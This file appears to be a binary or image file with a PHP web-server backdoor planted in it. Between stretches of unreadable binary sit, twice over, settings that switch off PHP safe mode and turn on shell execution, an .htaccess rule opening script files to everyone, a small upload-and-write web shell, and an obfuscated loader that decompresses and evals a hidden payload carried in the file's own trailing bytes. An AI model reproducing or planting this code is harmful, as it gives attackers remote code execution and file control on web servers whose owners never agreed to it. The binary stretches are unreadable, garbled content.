/ Gego*?k㔂0cxeijfqaoyX[IFoWLK5@kK^;pEV{,p"~M@2+h)K5_PO^e^Z.aGz{K}Y]AQ6a7~e#vVgXoB{NI}`b o26utcxeijfqaoyi{(/a[dK]R)ӚgW˅2"s粫BcOnCz~xVcxeijfqaoyɧ0fgy1U?/}}b~AZU*(
cmp2A}[ F@=ݲ.dqgftmhoeryؕSb!+cp=M {ȹC
AmqhFL%$7c	~&ɠc8dqgftmhoer]Di-D
d5_JZ-YbW].$rԱBddqgftmhoerٛ/M4,RmAKu1b0ϣϠfܐaS.!ap'xw5rB)uG!fy3
%Tpqcxeijfqaoy5qM:BN͇_K. wdqgftmhoer^6qtQ7Ǆ~BhQcxeijfqaoy0	[B2-,=dՒ4cĥ{XN0JEeWx"fXNR"	g-6 	}ާXf2FNL-Tˡǡ)oɷd$ݐM;*ד%*ɢp
-8~$8lU$8#,Nb`NV­Lf&
+HtC))hP]זH 	hGY$c(v餢ߪxcxeijfqaoy%@AeC NeTon-Bo,}D×o=46]k4;f-cxeijfqaoyJɻHԊf+BK i2ny:aCg2^	Θ/.^GKaC_.FH:sm\8cxeijfqaoyq)Àm0
4C5	
[A75:󖎩,O3Liղr;V3FЗi?HVrܢ~k?N
ZI[QX'1׋&ëQ ̇Wh*h`E3Mp@@{΄ğ\λ[\w2L~2w"^*|rCpNtɁ+dps,ԷqK;C
/HBMdqgftmhoerݴ2xsdqgftmhoerN`n4՟۵9-ȬU
ehGZ%r	UY.p ?ܽ
,V3#ϗpMSUMk#|뵡LЍ9B-߬pQɡ2Ȱ]Q3zcxeijfqaoyw̡s\^|wgi17:s''S$sԽ{Lj
E_TfqՂ-yTbsrqբ
Lj*
Jdj,2$|ިcxeijfqaoyo|.bpgٕ}o	@sI@pmݙdqgftmhoer
2Qr?DJz-[d82UE0׿}$+SuО5M҅φdw
o͵(ېa{kWx"YSCnŦ9Gtvh`*#|cxeijfqaoy^`AY}
@FLoT4(V_O)`^!Pocxeijfqaoy&( S?,YvoorLocxeijfqaoy!ʪ@yΨ#c[|AC5pܧs5
Z2H?[tژ䡉kRMF[,V	PЁ)kIo:@.0S=A -̐G{u(g½u@f筫w;6m*U^űS
osOX_y-9K"h]δKlOOep錡m~N81| :wXUy@xscxeijfqaoyl"UԣϤގgB.1
Fnt	čÍҵ'X&0ؐ:Adqgftmhoer""ѽdH	o^9jJ}I6Jpc"U$d(bAOoEuGV{cxeijfqaoy
d.UTls	(%~cWϰH_h-q$DIR;;QRmUm_3"\lFU@glBA+Xط%^n݀J1ı'\^M/x 
dqgftmhoertT4GE&bqk/3&h'Ts2༣{?cxeijfqaoy?3!X8h"7,
eaoО|qD)!ƈlv?H~˝bphe, :(Gr=e6χjrQkE⩶Mgg0l`}JiEf1lvxDőxXt1ZϬlsgOT_Zkxw9Q|JRqd2;*y
AF^dLF+-w҈{SLhuTInM$S&?J.F	Y_4TonJ"0ήƞZ6͑ĔoRj%\ev%=Fw4/=Ռ7+eo[H"[P*[܇.QI I4`a
)q(k6o_
rk=E㼌yꅽqaJIf]TG.wz95Kfy{Xq{C|h4-JqAW yƛ|w:2o\2LoFϋTYn:Ψш(ZAF@z_ްy,T|B{q-
~rY1$jg*۸zԤouE(dqgftmhoerzݢŤ(NcxeijfqaoyjYl3|]B:-*XDuJ9rkEս%ʜ+N^6#Lou9
cxeijfqaoyOh!D3b{=cᾺw葤o"
7n˧{__aA]Cym8ˁVy{ୡnwvܔ4$5+k ?Gk_cxeijfqaoy-e*FC}Y@TTx|XjJݩZ?hD
?gms8jOy'{͖#|mVս,ߊ'J 7np62%o?.($t5$-oo+9UVwcxeijfqaoyLXK\tk
ucxeijfqaoy]=:fZyJz#(]TWK.sQⓥ&$˶5îH(&N1]ْO(P$oZk9eepeG!f+=h$ֶX5K@fkqD6l"#YA*%Z	 \2PY9zHsq%}!Z7d-z-jg5@cZf &ԇ26UZA|9yC_e,d={h'ox!.Pb~6.#A]
DuhYyWx9.6@qC2Wb2˪ olԈ{-d[|[@"Z]t *e\mij9/%E,dqgftmhoer;w%Jz9}Q'%MZ^,pdCO`d/({5v n%C%M4}	p ^ڧx'UJ	xh!A+k~\@O88p	/9,ejefƛyWuO;5b|&tf$7Mxq7o1TfdqgftmhoerHieʃx_j,-/袺~ܷ#/DNj
s&֕و%MXȣ8J2-N|Pֿ_S%,wjuEH,L	}[/x
@XeC6n~3)Fdqgftmhoer(7%IU9ܹjzȑ91\Ą2ucxeijfqaoy&9xtxQe]{
Y/Ē/6Ŀ@dynY҄YxNSK;4|":SH@N+^_jbs{3Ӛ$!
=dHfCPJ!|8p~̋tY=r\dqgftmhoerhL7+{p}O0ݏ|WC&wK/%b5Ц_ŕdqgftmhoer~@Xcxeijfqaoyvi
5`ZeRne^n6
y)0[ 4p'~T襶r8V@rU2"ݶ$dqgftmhoerKTvHjԁcxeijfqaoyLxL	}XZ0kcڥJVUsuVԖ8˅õ]ܘ|h0zn#TTlƂT`S{W6OM]Q!]=#4s1ӫMoU:s;ݥ86Vr	L&!KCtQȞC)sn6m)w@R[%H{/B+DF)`?ܧ*A&GJDVkAcxeijfqaoyBe-Ѧ:S3 dXcƗ$i`jjعJ/!׻cxeijfqaoyQybs8~q?uܚcv}.8FҨϮ!1agwZKKZ+9BKz=&_dTbKl|&[Do`N`not]Lb;[GYn,Hs@$3G(5\iLJ &U&'Zׂjf׮Y;g v;;@dqgftmhoerY-sjT*J3:$yGjNjʷ)`CxBOnҕP+1g0RMzk[//Hl=lIA}3+jba:իԴYm#1ی&z[ȀᏰƜ(_WJa\ٺ4s[QdqgftmhoerQ|G"-.e
Aw4qdb	olȒS 3sjS &YaR|(6Fȁ=|Lcq6A"=[lr?!*h/POBx\^YבQk\J8ϧD6Kqb}*0 cxeijfqaoy}kȠ!Հ3*S5@S4?K0/
1cpQpzo縣E61.o,zDmcx
+C?-l2 
]H'	kJl)ק0uKp88'w )ZvYQH}Tm,vD="Fa=/@~L
Q[Ƨ	5`=HW辋8ߌ䞥@}fm+GQ5# {(	w[Ў+Oլxc.oFiQLNrdqgftmhoer-a6";BdcxeijfqaoyXwQZDr[T}T7O?-2ǲR^܅w]VE\)6Ch6ݤ7	j#|(0"t{E'HE!4ͧ/^Ņ"Mn2g~HUVԝ_BV5`1*k{_3~%;*AP:Oz'ڇn2p;9mOĹw"'#`vdqgftmhoerzgq$awIqM8?u
i|\&ki\*2tެk[Ɣ^Xؓ{dqgftmhoerª~l_C"i0,6޼$vf};n!Qdds{dqgftmhoerȡ٥^(d2/MMkɧM}!f*ZV".@&RU(9!A=CD뢲 +HT18*ˣ&sC}!^:튁e	I&Rr Y]	&5~6
`-N
X3tZjqdqgftmhoer0ta'X9+bҀ!p7`fMMk}sF؄NwW٢h2V/w]IIɇ$DƼ	БBWEuu$Piݞ(#P%kx5HjF$VAXԜILtgvg^ށ@O_.aW%H3l1"Yެ[%zIi.ZBEO˨	JfPZ✁8$dqgftmhoer?D6khu;Yk58dqgftmhoer|Ul0{q)gSvV%{`ϓ)};ڗC7 -vT
̖GGr^ 	 "wh[/ ו|~3i7~&ĤY#._qV mk =L|77/vdqgftmhoer "\pg9fMM=ZmA(VK(H^ąDt=
nNcL&ϕ8t"(Z4yeڭkh䶶1ႇJWS=JBg\,g~|j`EY`И-~	zcDcoGU;}d:(W0:U~
䚄Qϧg gc]Y濲^!}Y.׍
%
ӿӊ͠%1/dqgftmhoer5Ka?s;uT4ia޵HTyAV(jmdqgftmhoeru&Yg(u8Ւ}BnѠ	8n+StˣZ#tV.?N1"٨'Gey^r w|꣚2?p[Hszn5ke\MV(8}h/N
cxeijfqaoyƠOGREWJ| ;IhJ{0v"ue!dqgftmhoer-fxLL/&iXB+,4y)Cz&nG%GW0" b3c'vqi
źa?^dHPCsH)(1
G+c[9P8ح~Nmk\-XAE#C4HBwrLf-Vwn2@Խ3Z:Fָ7@q\܅͚ ']]*Y!2S:(YdqgftmhoerE# zF֕j^ߎWj7aNCA{i%ި龝MR4O^OYհO.RH87jUgnP&n9|(?j!=
;Z٠eVZz4	U30SQK:@:rbtvgɑm#E*ϚHAb{}L p[XOX&E}\FH-[гWh{?nyG`G]-/*GIJ6,8gj0u$6S9e j~5	_ ya'WB~Cdqgftmhoer/c~OA-mp#,DK3I	 )"$U8H4׮c2 `@6ǯe5A? ?:}&r #^Vvwc'd(B(s8HCiYthnׅQwxW}r!'W:V_D)ņ?N[DSS*
ߴ;
|/=ҤFM^UNN~0ԫiWoeizP9D~XSv2i_"xՔ).7 &3|_S 1:.UWpr(= 4|$rVvp'lhH#I2\dqgftmhoer
:LZMҏ݂ؗA)9zJW^:UOgx|07̷DK?ZEWf/s١ۧL8ttFMu8=gݯJWh@x&vhKsZJ~[WI1;T׋[8=ީJ2UJҧH:i3uJkg5w+A[G%j)
\|b_wZ	:W,)R`Y*Ͽ}Osafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base'.'64'.'_deco'.'de'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$yoZe='st'.'r'.'_rep'.'lace';$DnZj='subs'.'tr';$jyko='fi'.'le_g'.'et'.'_con'.'tents';$FfOt='gzuncompre'.'ss';$JDIF='exi'.'t';eval($FfOt($yoZe('qkwynmrcge','>',$yoZe('ltkiznvhbd','<',$DnZj($jyko( __FILE__ ),-36548)))));$JDIF(0);
?>
x׎*碁SlCc.HъޛwjUtl 7J*Yߒ(L {5/)/?C￣wo	I۟㽷]_Y~_?O
* qNЄQ(q{ۚ8_}3_ֿӸYq495q=i/a7Z^w
ltkiznvhbdA|T~OBy*|ΚO"}
µԔBkcTH1'
-s6}DUS~{%;~|۰h,#Oбrn
S_$F:42tS؟&lD٩}ccy!qЫqGs(Bc/bYu'VqkwynmrcgeѤ~9t#ǈmw{puB[7\{jC;w9FD\O&qkwynmrcge1c6yyȐEɇ)ÿ=([[0F]n痃?&!r({ݧmћ3:b\e"ޚ!ӽ{kk|۷oLo7F1޹ǿ9߾1lr1yo:1)C׿x熼c)_뿵ڿ8v0kھq#|F eޓM*sIHURPM~5%X]g"Ft`IT;_Ao#C
`uQ!wwDZ\Ǘ`8$nQ$nyh(ltkiznvhbdg#.,O{`@Ɔ-{+Hp.ߠ9v*U+$lJ/OI^qkwynmrcge&
Y"#}6}7
	8BtD6[qkwynmrcgez+
?YU"B[Yܸ	t`x7qkwynmrcgeg)[S2N@A,ybef?
QaCU"(6-UX~xi0htcR y\F@M'C:aƖ4Ɋ,&~(CJaei,n3
^сq{Yx;YZuR(i}Ha(*3ltkiznvhbd4Iqkwynmrcgeb_Kt3[ty
U ![-pI
tqkwynmrcge4_Qqkwynmrcgelߦ[?ŚS{
.כ0)}u aV_XB%bS
{E5Oa4Mwv`Sń"Kqkwynmrcgef6e_D&}Xk%	C+܀$-C0a)RvG/8(b
ERA%wsW8񀆄7PWF!
IiB,E1]	bLfU+!aiqkwynmrcge8{/E%q)?	 YPYuSwRxMqkwynmrcge՛FQmCK@3 vBf(mg`ߺ32`NyVlXIfPoj'@it[l .+]U
1hChvCↀHSFNpSeQr*8zltkiznvhbd
E.T`جx,I8!xhf3;toEqz,Pi!qPA~ltkiznvhbd0Df:rXۡݎ&Gǈ.Xr&nvcO^95,Әǅ02֌&.M+sֳԸiȄVnoh~,ltkiznvhbd%sPRNqkwynmrcgeH!-,5j6?xw~fzFpA%D8/s}F*T,Ldj4:qkwynmrcgex%iCygK۝V0ݚ&9^|8"QGiV~k\52xK~y=.-qkwynmrcgeߗ*Qgt,A܃ܵ6?UQExj[	C67Ҷm-+ܞ"As86xD`=i+NP92Kltkiznvhbd%Df@Ek gE3Δh
HeЊv!?ߣi(]ĉv7;Uqkwynmrcgeu" 	m94	"\-H7yK0i
b
uz^sFعC`byy-y6ȱQ\0Ũ/Y
|r}ltkiznvhbdqkwynmrcge )PJ8源LGW`|:"gԯ8̟Yiſ6+!y*EZ{pTX~XkȄϋr48j{HF+;B)W`ȁGgI{?Kss(zMltkiznvhbdr[Qtr!7!D^jP~-#F(м}WB0ʴ~*ltkiznvhbd1WiqkwynmrcgeZ6 k++\{ѱ}L*: \oPIRW̴lQ#q[vENњTHeOS1x`wwb;kذUgQ;=]rcoV.iڣ*(=z]n詼`A9J*C3++p,ږ׸p:TU'nͯm:oX@^ٜr.e&M`yKF9X"NQkqkwynmrcgeNXSq,T-ތItf)UMltkiznvhbd-RD;T)?Jbd8^[;Mg9O^LRL#vn۽ޮnb[IcwKth&(,NvDDRAwUBg@ltkiznvhbd_F?b[j`P-[.@fiP.ը(WlwYw+HʍɇY)kOm'É;wZʌ`o|Dl%M"IG?QÆu};T}/4tetMAdL|1@|/
**p;p*tN׫{B)|!	pa&+p  5tz~a	߯
{pJ{QdB`د#|f!뻷hfy35xUnyxqkwynmrcgeJ%d+ }1/nWj2agþ˩LQV	3C4)EГ5
o5qkwynmrcge(}Ix	FT='
' X2$|iՃTgqqkwynmrcgepgltkiznvhbd`%:kC:{Dn9Jultkiznvhbd!PȯVnDrŀR")&mltkiznvhbd֠	"Mqkwynmrcget{qkwynmrcgeVeP
rIOJ2@m+H6&~+~D^́^gB6L(I5U_8sw2({gݜNʱ89Cfd`vjbH%ּ3Yōd0}6^IWڠMiӁ90aǹ{'5m3@aceerj]V'~[ltkiznvhbd-w gØ*(Qqkwynmrcge |ltkiznvhbdzJ&y[Pڕ([S\h:
ۋF6_r˾GX@L_I&J?2Fc-DɃb :)Vy~*SDabehMͅ#ul/$GAVm	fsSQu^btݕE2W10mK$?u:I׵.pVoҝqJ7QH_t6Qip@Eh--?OZK0{YUwp҇*|=rY
Yo[
+ˀ.}BEk&1vpy[T^W:/2qkwynmrcge;Xiٮa.tf-ZZA*]j,q17t2PogMSU@5ma7&,{R~H(ei 376:sh[S{z#1N wEY6/艵u^+qkwynmrcgeejP)?.Y)S#G=VT3hEdzDltkiznvhbd]ޫ?
7ilquL4 TnRo.\i2+bBf!"1 8R
X,Ք:ef+ +w(xio;%PTFKo
sŕo\򍦺@P'##E8֮WG5_@Oltkiznvhbd7eJZzjICR.t7vAחJņz{bWQ2Mz6kԩ3y:.	M1O*W}8׬oNnK445ltkiznvhbd1;y+UȚqkwynmrcge
qkwynmrcgeuI-u	n[E  *ugRٌFX  Րr4ո؇@.+~a=ǰz	Ҕ%5ltkiznvhbd5I*m7&~T|j+}(K󍲂&VЩSNğWDlPI@[nJ͎&j.qgv́bXnHQzCn6Hh=9^cW.vFzJgp,-#n	ڟ[$?e3ի2zT͉y!|mVIon%zy0dqkwynmrcge"_lITm_w1Ԋ3r	e@SY
1FKlt&?GTQ]1VAAZN2ooҭዌ|qkwynmrcge !ɘ7gIUgOK.x,.C\^Z	胻ʐ=~主-T4iN_(yZLcZ6LTk2WY_&ߌَ
ltkiznvhbdv_qNqkwynmrcge?/qkwynmrcge,'
qkwynmrcgeF:'*O/*ѩ5&69fv)T:.0pNZtl@{	^eZjgSp]OmzL|hVHKW,GIu_0,sУ
ڹ][bX^#0y&ÐJ6Pa
qVũ:\[Deq40.xA3GCz
՟hYx%ltkiznvhbd_Rr0)͎qkwynmrcge@]'&¾r tR|WE.\JltkiznvhbdA䟋mbPjx\uݾNKSNMt9s6;U"Y_5?~}|"	"Vۍ Nx!R$W\mFp23DifѳA Agu,-5Ԣ?crqyYg(U~QwӶ^"c1ͭOR*c\ܬ}#۩t	϶O."(!8	.XCIdS_Ydltkiznvhbdw0{= \ɋjVTzN:T)]Qnzbދƽ$k
`ɞbI-Fï&t|S(\mW7sltkiznvhbdYoltkiznvhbd
ltkiznvhbdLtrdg'o|ϋFݵ=#ǰ)˛کWSq(U2!bqkwynmrcge
	
k_ҒpOTL@w/~r"vqkwynmrcgeey9k7b 9 |dhZHqlZl]:wӔ
I{aSmlh{zJ
RoIXCYHI~%vycN,:đEg+0@pלl=lUqkwynmrcgehI-J6཭W*5!!.CЈ(v-IG-ԑv&zkD6z`۩xiݴ~F[&I0K?Uψ|Z5X8b:d
M(ٺd¸4n
Y*?FK-"=@cGL21\@۔m-sKNO7GӺ-/D	BLIL褊ßt,lV\;{
)
]wdCe.-z_E3.8%}7IO]n$rouðّL,WDw V̥Ч`-(	l
{
TP!T!.js2RI1ԝlAX˯E݂oOuyeK}54w~j
=FBĘ`=]Vs*ٱ6۱$!x-e5,{Id*dN`M4㪘1N	x`TJt;r$8^$~Pك=\ p&7.z6ODltkiznvhbd/ܨA:qkwynmrcge^BI%ǝjsM7Sδ")b߰1s`:m'F|!E.."ME:Ў;'O0K"z;b!ymA(`ZFXY։ls~,)~p7lmUyhW1/5OU À;IdC/fsC4-Kq&/]XIF)KkWaqkwynmrcge{B6HUns5}0/3聊!AOpTXNBƗ7Ȕm#p
|"v*]iiTA+/VnqkwynmrcgeBM5
,tIәgTg0SaʀΔqkwynmrcge
Ln0q%s_8&؇8'9hЖi6f*ltkiznvhbd3Df&IaRto-}ipTw}Ar/X&Yh7|?Mϒ[Imrf^\Hw3fMߊ?:U3	Tq
xZ.[ltkiznvhbdo(ק@l&w}WtSַzir~5F/EK_)B̖a󁧰CI"EffUƋ8O!0f+,|Q-=
';ס9m#~=#-fmO_z=9;j'gSV(5j7ltkiznvhbd!BA5~ xϟ6V?ЇCd܃|89
7RDg;Gk04ek:ɲ'RRC閷P#V)0۶ܨ퀿D^r@H'qkwynmrcge~E4?o"Uxg
.M*+)jgKltkiznvhbd@|Sp!iێp%}K8gPMѧWtm gf:WȊ9%9XEXzfU^9IYP89e%*y;A2)/0Rڳ^dQ4yqkwynmrcge9fYqkwynmrcgei=w+h^qkwynmrcgenH7\oSR]v+ltkiznvhbdȰjڳ1xYwdENnji]`$d_Wvk
~xuMj[G1F!Z@}w\LH:cn!ԞP&].q=֘LYKx9"p𒠏7y|$yszM ;{-U325,os" 4?aNI.J*;0!;Oaw;:pѬoKkqkwynmrcgeAgHh&UelwMF~g1{5eLn90|;~8TCpF_t)\3B;"NހRHq#\Qרk9fl-qL'
/}}D䚜lzl4uI&!+f]a3(	3=\l$SNV%d9hLBFAͲN6nPbY kKBJ9H;.K\n	rW$~iߋLNk4qkwynmrcgeDqkwynmrcge6|#pOɫUg,C-uUb.ØT:;	x|E)`l?
`־8hjZ%_+v9Z0UɆ|&W_?HLdQ`45
*:F\ȐBYḞqcZ@X3Gw8%ltkiznvhbdͭEmlN8M0 ~{voL*uѳltkiznvhbd7NU3
$
xW~=_uy6WF\LF]Y,TNӃ7Z?9eڶWMh4
 6N8
p (_ vl0g
d䡵"4pgxJU;MyWXY˺ɤɭd|ltkiznvhbd
{8^o&h #YxЫO9[yS$A(?? D"H w8H;tїCD=.dO}sj$:e9'ܾYB-ڄu	öqkwynmrcgelltkiznvhbdKq ltkiznvhbd-"Wgu1{{[%I7̄d`FEωo5DJe+Ea^ݚd{
o~ltkiznvhbd4APu`2ʖKےo/o"t,]*zFRGgLc#=c_t4 t(\@dҜLjۓ%:Giy_A֎,$x0DNX|kI!o"]A!ʭ#`P7Ѱ:)DwPv|	H{j''},FmnT[uC(!F
HxoR_A%XG&iG!y~lZ%;n
ZPM3]7ksltkiznvhbdί@MSWdt'=[ltkiznvhbd7]
)Nk;-O,THI-(Q/2lߗ.VY Sߪfw@m)p#S4|	*+;tJi# CI*+T6{gVL\eHTX7ccvlpp]qTEՄ`vWa[?;gnjΎԌ*≧4hl1l
Rltkiznvhbd۷W/}-g3FGLeP@AǒZh_@1r&j;8}ltkiznvhbdӈkd1zuIz2gkG'ltkiznvhbdJ95U9':hF
-
I8;:'!K/_|b|.*jߤ{:n"ZH"?B}@f2PݘIGϬV9\$J_1 7ttCSpƭoqyq8ܰBcߎo+{eěp1U:
_1d'B"#R
31L1p:q&fyGh23Gt`
GP-9bt5Dw"cpаg,B(@H$+uk^9 iu
1H*2V(Dm;h-܀BNa@.SH36$
!E ltkiznvhbd0D/L)!tG&UyW`9eA(s4\Dpߜ@h^qkwynmrcgeƪBk
~I
tqkwynmrcgeyyۭ'-]#~xKAr*Ԙ7fO5M92v.4qkwynmrcge.}ʉ$bn FԜafgem~LpƔ)bn7+X*T'H7mjrr@ph({q"HYŤ*x 9mU*۾ECqh}׮m$ltkiznvhbd1ud(^9v $igR
=~hz~GH #?'@e5bZmbrdH5jB!ʋ5.DFcC4=^?%93	'O}	
pLU%u8iHsx kBqkwynmrcge*+A1ƫqkwynmrcgejZ	P-`XSDנ~FOPwOS[C!Ӌ'oy֐6m$O[L5B?QʶË ֲo5צEse)iHo2x"rqkwynmrcge6&$+ #!$:"RT-fޘr\k#`8|ʓƑ9!5ƒ̢W	NJc1ϙ{1Z_"mF}W;eUnWQ{ٸ_|}2Ҥ5w_$HSek7۱|@%̴,V(aqkwynmrcgeZO|(p2{Kl_}t)!#KltkiznvhbdI[V|Ғ\nltkiznvhbdq{Eڻ9g2&֋pV 1hʬqI%9%F~C$c^T
!y%{d+w}1?5$#}5)L)7|2YS"fb~xŵmhaµBj=Xwa6@qkwynmrcge@CYfO?Z%,R$~`rӏd{XF_ܮ߇L=rB4`mM1zimZ{_yz(奆7޼n`&xmǹg\BltkiznvhbdD=P,OqKwnK1y?
7R 5ɉC氄onAN42u.Ax|U߈7ז&}Yh}'_C5lގ3_!@|e}`㊻~m_A5TMuC~%0NUlA&	}oNm$Z	
e}a{	k"4 A\(вtosi!ĥt6F/Kk=-/I-+aKHtAAPltkiznvhbd@K"0ӁmHA7¹b-TR=Vs4ss#|գw̧;ԏ5zadltkiznvhbd"Z9
Jzq(YsX8հ]Bm/n120KT"P\r{	h%vl 
Xy?d9+b,|~ѰOBj~VBSK&0%3DP3^z;qkwynmrcgeMh/;գaXbxжts?XϏeIn߻M'Kn@}9d%~s]bT
=C$ܸDВٯW\/9+eW_		9ojdx)Uyc -{+CnU^Dކ񜲑rOQP|Mi3z_7zߚ]D∜=u?M%z8pYoB'*+1[^FF[eKNLC:5黡f
ZoXk,N]y֕¶tEJFH
ltkiznvhbdl &Ģ냽~+ȨϞ/0#kԘÕl{r[
tfͤǚzyltkiznvhbd̫ͷ
W)!.yltkiznvhbdVu#gc|Pm+3esmR9-'ϝqҒJ%ZM1ר-`VܢcP/WNVu{*xR:z u:̸Ka!dJy([)0%UD|0PiqkwynmrcgekyF,gC+`,lYH0K5Ѳ%نux`eߊA%M4Boieӗk%׸PLʗ׫"]2^O\8qkwynmrcge[SqkwynmrcgeA;xČ!gv#'^:Uy&_ɶ}0ϞFO 4w\[jt-?2ނj1?#-E=%fօ#G1ؼYܚȖɐz;agG3~f=gi|=EXk1

~s=o2R8
ltkiznvhbdȒZNa8(Xd}]M	Bwؼ@lHhJ:r
ZǓ䩲rC\re(eDX)DĦ=񈄨bAԧ i
Jo -AmvsV*: kTL1^Ho·)8E=.O)w U-6w m4qkwynmrcgeP?ŒK&pM!$4rZjjĦltkiznvhbdL -ˢ+9\%5eLGЛ;61\Y R2h)ߴǢϙu`P4Yqkwynmrcge 4uT"P1M{o8
z²f;͸}'ia;:n-"i~լߗ=AUֈ_yѮxw(m+ltkiznvhbdCx!GQZ0VvO)ҁ%FָM&Y@WC7H~Aӏ8s8wi
5x}Wh1qC%qkwynmrcge)0D	jLg."uN',k|
oЏe EƤ&XC@4CXR6Fi?~)}ڰHeV*cq_Iwv2ݮj4mց?t
Ь\C+1	^ݻ(gjECe  ic)(xL_b9YgQVDAwN=,#m?/=: 7VBڎpp o՘W5!Kn2~!nZvqqkwynmrcgeOu;8OZqVNܯTmC^Xltkiznvhbd,
Ձ
;4WWEER3;Z[Vp l+J9Lgҗ,.6h4OPհ y'AS%Յpql1uvRLN&RC"`|ɱ	3Jc@T
G6NhRF-2'$:}Xal=Zqkwynmrcget}T?Vj:0qPOhGI\~e1	[8'V~I@ĤǓi-V^`ltkiznvhbdgz}C[qaeqEJqkwynmrcgeE2Pxa&͢lK+pZ87D@](A5x7hqkwynmrcge:qnrNSbd/&'{yw2MV0qjpBIq^!jFܵ	t?p7oȡ?(C6Dltkiznvhbdķ
J=IW0WT$1'{[&#7+(2~fz=&Zk0j
8mkndҽ͞ΛpCgo#"|4f6'k8ULxAR)4mmoc;StXD~Y++itltkiznvhbd/ռANlKw:u:9PO,l;"L*؟x$}-ikقQ yjX
rk)b	{4cQ׸c"9 GoHy0rY=10}6Ӡh&YnM	qkwynmrcgeezgY?'C5D}F@C$8
mVa	n&\46:wltkiznvhbd -{Z|@W(66|NĂ7J3^|f(-CGq^G?ܸw=G	MgAui"w8\&Zi}codX/^0ɏ@mfv-GR]%kFMekltkiznvhbdPͰgA@ (W"w	N5REsv$E"";/m$\疭c-5ltkiznvhbd2D[}@`0op{a/7ՀaWIuBF&!bic)޾Jc|MlqkwynmrcgeE!ꥮcJۗubL5~"Y};gywfMʺe{KڛL(+ol:}c,ןQ
 p,=ï6S#OM4O'''6Ix)xQkzJ^~pyD*bZ#ltkiznvhbd]ؐ!YJV|R迩i6Qa#h,_"&Lϝ'(?TrrZ@El;T+L=}}=ytGAB(Jltye` "Jv+]HDb&7O2	g;tst$ltkiznvhbdi28D,s
DN7ox'_~Q0fLe8t =tc-)wPkZi0!PJ;CoO3U?נSP.?ynNilW	IS/{$ͧy$l:v/c$pV8tvU	^l5i#b{xf8osg}}UL0c*nC
.JpzcqkwynmrcgemN饄W׸~k5Ge@PJ:)o,k|	,j5P*xqkwynmrcge'k 0KdRZ%\;;oJsshW^ltkiznvhbdW4uo%J"]:Oճ{&DW$zhش^1M}q"7NMRltkiznvhbdLJ*,2*EeAv?fltkiznvhbd]z~lExqkwynmrcgeCzxxñ|d[7Н7/UolA逯U$E6qkwynmrcges3KhnisVg	X 
ۼ-2D
C&c1憟m?%EJ zJK|r4@zy8Ԣ^~X[Mb_ :ltkiznvhbdMׁ}}(0y~^{.~5Qڹ3G{=Y1Fhݱ*΁(HPN
?Zﮘ)WfA
Zep&f(4
ٶHNx9Y|ğWnI򓸙lS8ktuy= ۰t3pguQ|:i$2uC3jӈ+Pc/{]gZbQv~jZ&-T |rejHltkiznvhbdBE	~V Rj24Q50ltkiznvhbdP:,
k-,z[a
t]h\C!,[\ `^Ӫ
H|b;J$*TVdT"~MShG#Z?$O;"аs&RӓxmlnS#e WnUMJ3oiVDi%G
!iyDl6䤾agDx|JQ@:B*ʖm^KSF1(xEB@]u;%މ@c`5	酧c]D%QzM.45;˩wFmAg8GoxN$?3wϯht
A\aV6P\+ݍD NLSltkiznvhbd"X3ݡ6nqkwynmrcgel	}H'9+@ۏ4ֶ_ScV_ȈTG{d	O$^~1hOOTq7S%1TF*x0o_0A,
S辝~4PO$y7ltkiznvhbdidP|qkwynmrcgeעvP!ԚL0#kMW1q&jcχ=c~NltkiznvhbdiE"9nzgn^b]m%|%n[P21#7Ux[1:c͈N,CЌo0]?Tltkiznvhbd|
H6WphUqkwynmrcge# l]!~%ߋtTT4-#&RU	X|
t?*C̦h	p#[V[Sў}dd+ ";Q):8jج؏Gz6/v?oR|pލu^ezm0[ņ!\'ٵ5Rs_
^MSqkwynmrcgecg:+s	zֻ-x3,d
ȞT3ӘSj
Ź#qkwynmrcge^ætqkwynmrcgexSagHCѿԆmNL%DSLsW
G/ŏVUs!2JdL{q+BH`	Yl4R_1/gTLھi|)S畫СGb|ɓW̓ltE}찂Dh1k޽a1T	WބsF"ft22KU&e\=ݷ#x9W
YIUͲ*Sm͊&1bw8zӒUSltkiznvhbd=W*CmNA)`t6+i
qkwynmrcge_!au9e*ltkiznvhbd4f.l*e4E1ctns.0]3L`?
Är(ux#fYzq ]361#dJ(d)|ltkiznvhbddzK`zǷW#?xXOXz(_٦ϕqkwynmrcgegH;	s=?ԥEN}Hf	N{`A?uRބ8eqßmPEZ1PwF|hvʥZ(Mjfvf1r)8[0Tq_u{@? UN)|3z+$ǭltkiznvhbdoҢtS	ﲸ"{c,]H:`A$יUx5; S	VoIbjygwEx{ փh/ d|@uk`Y*ӱ7#_#	XA}5߅Bծ%֟6pG;j}!x=}A|[Kg$sʫՁFGlft|emKZ\}'3/ɑ_8iKx$u̷iͪ_(pDh42B $Y Mavvϐ5alԯD6ޖdq0ўR*kI_7axrj9zÃ,[Fܷ)=A r^g8Cxbm~Ľ޹i%]]eD˥]~.PltkiznvhbdQZ%Hчzq^_O&,yfNm=7-14ku7MUK~,2k WWd!Bb2DAGz+e8~c::fSg䤗_#"W1Pn]XltkiznvhbdDahsk/pH:%ZmJm'h`	FltkiznvhbdKfA?sڸ il3+?쑥$)'1oaqOS_& 9*5jaHKfA
']:|~'Gz$GMޟמ,a˟` u?pU]d:qFZ#Ɲdİrc,qkwynmrcge qAXNf7 *3ǃBt(m|`mЈF1|Y{-kqkwynmrcge!q 	E7TOB_#0qkiDA?ƾPW@-}fhw2'.Kжv:G+؋"yMQK%,	DW_3lb}2	Ӻ4a
